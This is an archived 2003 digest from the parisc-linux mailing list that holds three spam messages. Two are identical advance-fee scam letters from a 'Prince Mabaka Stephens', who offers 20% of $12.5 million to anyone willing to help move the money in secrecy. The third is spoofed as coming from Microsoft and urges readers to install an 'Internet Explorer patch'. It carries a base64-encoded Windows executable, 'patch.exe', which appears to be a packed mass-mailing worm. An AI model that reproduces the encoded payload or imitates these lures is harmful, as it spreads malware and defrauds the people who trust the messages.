Reply-To: princemabaka@netscape.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="802bf47a-a356-435f-b06b-3443e4eaa03d"
X-Trace: ger.gmane.org 1416622772 30874 80.91.229.3 (22 Nov 2014 02:19:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 13 13:08:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2545C483F
	for <parisc-linux@parisc-linux.org>; Sat, 13 Sep 2003 13:08:39 -0600 (MDT)
Original-Received: from netscape1014.com (ip503d4dab.speed.planet.nl [80.61.77.171])
	by cuprel1.hp.com (Postfix) with SMTP id C85A3CE4
	for <parisc-linux@parisc-linux.org>; Sat, 13 Sep 2003 12:08:35 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19496

This is a multi-part message in MIME format
--802bf47a-a356-435f-b06b-3443e4eaa03d
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable


FROM: PRINCE MABAKA STEPHENS.
EMAIL :princemabaka@netscape.net

with warm hearts I offer my friendship, and my greetings, and I hope this =
letter meets you in good
time. It will be surprising to you to receive this proposal from me since you =
do not know men personally.
However, I am sincerely seeking your confidence in this transaction, which I =
propose with my free mind
and as a person of integrity.
My name is PRINCE MABAKA , the son of STEPHEN MABAKA , a farmer from =
Zimbabwe, murdered in the land dispute in
my country. As led by my instinct, I deided to contact you through =
email,after searching for contacts via the internet, as it is the only means =
I
can contact anybody since I am cutting off ties with Zimbabwe for now. I =
apologize if this is not acceptable to you.
The purpose of this letter is to seek your most needed assistance in a =
business venture. Due to the land and
political problems in Zimbabwe, as a result of President Robert =
Mugabesintroduction of new Land Act Reform.
wholly affecting the rich white farmers and the few rich black farmers, all =
white
farmers were asked to surrender their farms to the government for =
re-distribution
and infact to his political party members and my father though black was
the treasury of the farmers association and a strong member of an opposition
party that did not support the president's idea.
He then ordered his party members and the police under his pay row to invade =
my father's farm and burn down
everything in the farm. They killed my father and took away a lot of =
properties from his farm.
After the death of my father, our local pastor and a close friend of my =
father handed us over will
documents with instructions from my father that we should leave Zimbabwe =
incase anything happen to him.
The will documents has a ertificate of deposit, confirming a cash deposit =
totaling Twelve million
five hundred thousand united state dollars. [12.5m] Kept in custody for us in =
a security company unknown
to the company that the content is money hence it was deposited as pesonal =
belongings. This money was
deposited with this Private Security Company for safety and security reasons, =
and was to be used for
the purchase of land, new machines and chemicals establishment of new farms =
in Botswana.
This violent and barbaic act by Mugabe has since led to the death of my =
beloved mother and kid sister and
other innocent lives.
I was continually threatened to abandon my inheritance from my father after =
he was murdered. I resisted for a
while, but when the danger bcame unbearable, and I survived two murder =
attempts,I fled Zimbabwe with the help of my father's close friend Mr. John =
Casahans
from Australia also a farmer who was leaving in Zimbabwe with us but left =
with his family following this ugly developmnt I have tried to reach him
but all to no avail.
I am currently staying in the Netherlands where I am seeking political =
asylum. In fact my decision to come here to seek
asylum, is because the security company from South Africa, has a branch here, =
I
have contacted them to move the safe deposit from their office in =
Johannesburg here, which they have since done.
I need to transfer this money to an account and invest part of the money. =
Since the law of Netherlands
prohibits a refugee (aslum seeker) to open any bank account or to be involved =
in any financial transaction,
this is why I am seeking agenuine and reliable partner, whose account this =
money can be trasferred, hence this proposal
to you.
You have to understand that this decision taken by me is a very big and brave =
one, and it entrusts my future
in your hands, as a result of the safe keeping of this money.
If you accept to assist me, all I want you to do for me, is to assist with =
arrangements to claim the depsit from the security
company from their office here in The Netherlands, as it has now been =
transferred from Johannesburg, South Africa to
their branch here. The company will be  informed of you representing me.
For your assistance, I have two options for you.
Firstly you can choose to have 20% of the money for your assistance, and =
helping me open an account for
the money to be deposited here, or you can go into patnership with me for the =
proper profitable
investment of the money in your country. Whichever the option you want, =
please to notify me in your reply.
I have also set aside 1 % of this money for all kinds of expenses that come =
our way in the process of this
transaction, and 4% for Charity donation. If you prefer to accept the 20% for =
your moral and financial
assistance then the balance will be left in the account here for me.
Please, I want you to maintain absolute secrecy for the purpose of this =
transaction.Your reply should be sent to my private
email address only where upon i shall brief you on the modalities to ensuring
=

its realisation.
I look forward to your reply and co-operation, and I
thank you in advance as I anticipation
e your co-operation.
Sincerely,
PRINCE MABAKA STEPHENS.

  
--802bf47a-a356-435f-b06b-3443e4eaa03d--



From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: prince mabaka <princmabak@netscape.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] URGENT/ASAP NOTIFICATION.
Date: Sat, 13 Sep 2003 21:13:18 +0200
Lines: 111
Approved: news@gmane.org
Message-ID: <20030913191301.F1C9A483F@dsl2.external.hp.com>
Reply-To: princemabaka@netscape.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="4936a50b-5c10-41d6-b5af-2ac61b0bce4e"
X-Trace: ger.gmane.org 1416622772 30875 80.91.229.3 (22 Nov 2014 02:19:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 13 13:13:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netscape650.com (ip503d4dab.speed.planet.nl [80.61.77.171])
	by dsl2.external.hp.com (Postfix) with SMTP id F1C9A483F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Sep 2003 13:13:01 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19497

This is a multi-part message in MIME format
--4936a50b-5c10-41d6-b5af-2ac61b0bce4e
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable


FROM: PRINCE MABAKA STEPHENS.
EMAIL :princemabaka@netscape.net

with warm hearts I offer my friendship, and my greetings, and I hope this =
letter meets you in good
time. It will be surprising to you to receive this proposal from me since you =
do not know men personally.
However, I am sincerely seeking your confidence in this transaction, which I =
propose with my free mind
and as a person of integrity.
My name is PRINCE MABAKA , the son of STEPHEN MABAKA , a farmer from =
Zimbabwe, murdered in the land dispute in
my country. As led by my instinct, I deided to contact you through =
email,after searching for contacts via the internet, as it is the only means =
I
can contact anybody since I am cutting off ties with Zimbabwe for now. I =
apologize if this is not acceptable to you.
The purpose of this letter is to seek your most needed assistance in a =
business venture. Due to the land and
political problems in Zimbabwe, as a result of President Robert =
Mugabesintroduction of new Land Act Reform.
wholly affecting the rich white farmers and the few rich black farmers, all =
white
farmers were asked to surrender their farms to the government for =
re-distribution
and infact to his political party members and my father though black was
the treasury of the farmers association and a strong member of an opposition
party that did not support the president's idea.
He then ordered his party members and the police under his pay row to invade =
my father's farm and burn down
everything in the farm. They killed my father and took away a lot of =
properties from his farm.
After the death of my father, our local pastor and a close friend of my =
father handed us over will
documents with instructions from my father that we should leave Zimbabwe =
incase anything happen to him.
The will documents has a ertificate of deposit, confirming a cash deposit =
totaling Twelve million
five hundred thousand united state dollars. [12.5m] Kept in custody for us in =
a security company unknown
to the company that the content is money hence it was deposited as pesonal =
belongings. This money was
deposited with this Private Security Company for safety and security reasons, =
and was to be used for
the purchase of land, new machines and chemicals establishment of new farms =
in Botswana.
This violent and barbaic act by Mugabe has since led to the death of my =
beloved mother and kid sister and
other innocent lives.
I was continually threatened to abandon my inheritance from my father after =
he was murdered. I resisted for a
while, but when the danger bcame unbearable, and I survived two murder =
attempts,I fled Zimbabwe with the help of my father's close friend Mr. John =
Casahans
from Australia also a farmer who was leaving in Zimbabwe with us but left =
with his family following this ugly developmnt I have tried to reach him
but all to no avail.
I am currently staying in the Netherlands where I am seeking political =
asylum. In fact my decision to come here to seek
asylum, is because the security company from South Africa, has a branch here, =
I
have contacted them to move the safe deposit from their office in =
Johannesburg here, which they have since done.
I need to transfer this money to an account and invest part of the money. =
Since the law of Netherlands
prohibits a refugee (aslum seeker) to open any bank account or to be involved =
in any financial transaction,
this is why I am seeking agenuine and reliable partner, whose account this =
money can be trasferred, hence this proposal
to you.
You have to understand that this decision taken by me is a very big and brave =
one, and it entrusts my future
in your hands, as a result of the safe keeping of this money.
If you accept to assist me, all I want you to do for me, is to assist with =
arrangements to claim the depsit from the security
company from their office here in The Netherlands, as it has now been =
transferred from Johannesburg, South Africa to
their branch here. The company will be  informed of you representing me.
For your assistance, I have two options for you.
Firstly you can choose to have 20% of the money for your assistance, and =
helping me open an account for
the money to be deposited here, or you can go into patnership with me for the =
proper profitable
investment of the money in your country. Whichever the option you want, =
please to notify me in your reply.
I have also set aside 1 % of this money for all kinds of expenses that come =
our way in the process of this
transaction, and 4% for Charity donation. If you prefer to accept the 20% for =
your moral and financial
assistance then the balance will be left in the account here for me.
Please, I want you to maintain absolute secrecy for the purpose of this =
transaction.Your reply should be sent to my private
email address only where upon i shall brief you on the modalities to ensuring
=

its realisation.
I look forward to your reply and co-operation, and I
thank you in advance as I anticipation
e your co-operation.
Sincerely,
PRINCE MABAKA STEPHENS.

  
--4936a50b-5c10-41d6-b5af-2ac61b0bce4e--



From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Microsoft" <security@microsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Use this patch immediately !
Date: Sun, 14 Sep 2003 04:14:39 -0600 (MDT)
Lines: 255
Approved: news@gmane.org
Message-ID: <20030914101439.449CC4832@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary="xxxx"
X-Trace: ger.gmane.org 1416622773 30882 80.91.229.3 (22 Nov 2014 02:19:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 14 04:14:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (cc436626-a.groni1.gr.home.nl [217.120.212.73])
	by dsl2.external.hp.com (Postfix) with SMTP id 449CC4832
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Sep 2003 04:14:39 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19498

--xxxx
Content-Type: text/plain;
Content-Transfer-Encoding: 7bit

Dear friend , use this Internet Explorer patch now!
There are dangerous virus in the Internet now!
More than 500.000 already infected!

--xxxx
Content-Type: application/download
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=patch.exe

TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAALoQAA4ftAnNIbgBTM0h
kJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2luMzIN
CiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMA/Cw7qgAAAAAA
AAAA4ACPgQsBAhkAIAAAABAAAABwAABAmwAAAIAAAACgAAAAAEAA
ABAAAAACAAABAAAAAAAAAAMACgAAAAAAALAAAAAQAAAAAAAAAgAA
AAAAEAAAIAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAAKAAABwB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBY
MAAAAAAAcAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQ
WDEAAAAAACAAAACAAAAAHgAAAAQAAAAAAAAAAAAAAAAAAEAAAOBV
UFgyAAAAAAAQAAAAoAAAAAIAAAAiAAAAAAAAAAAAAAAAAABAAADA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
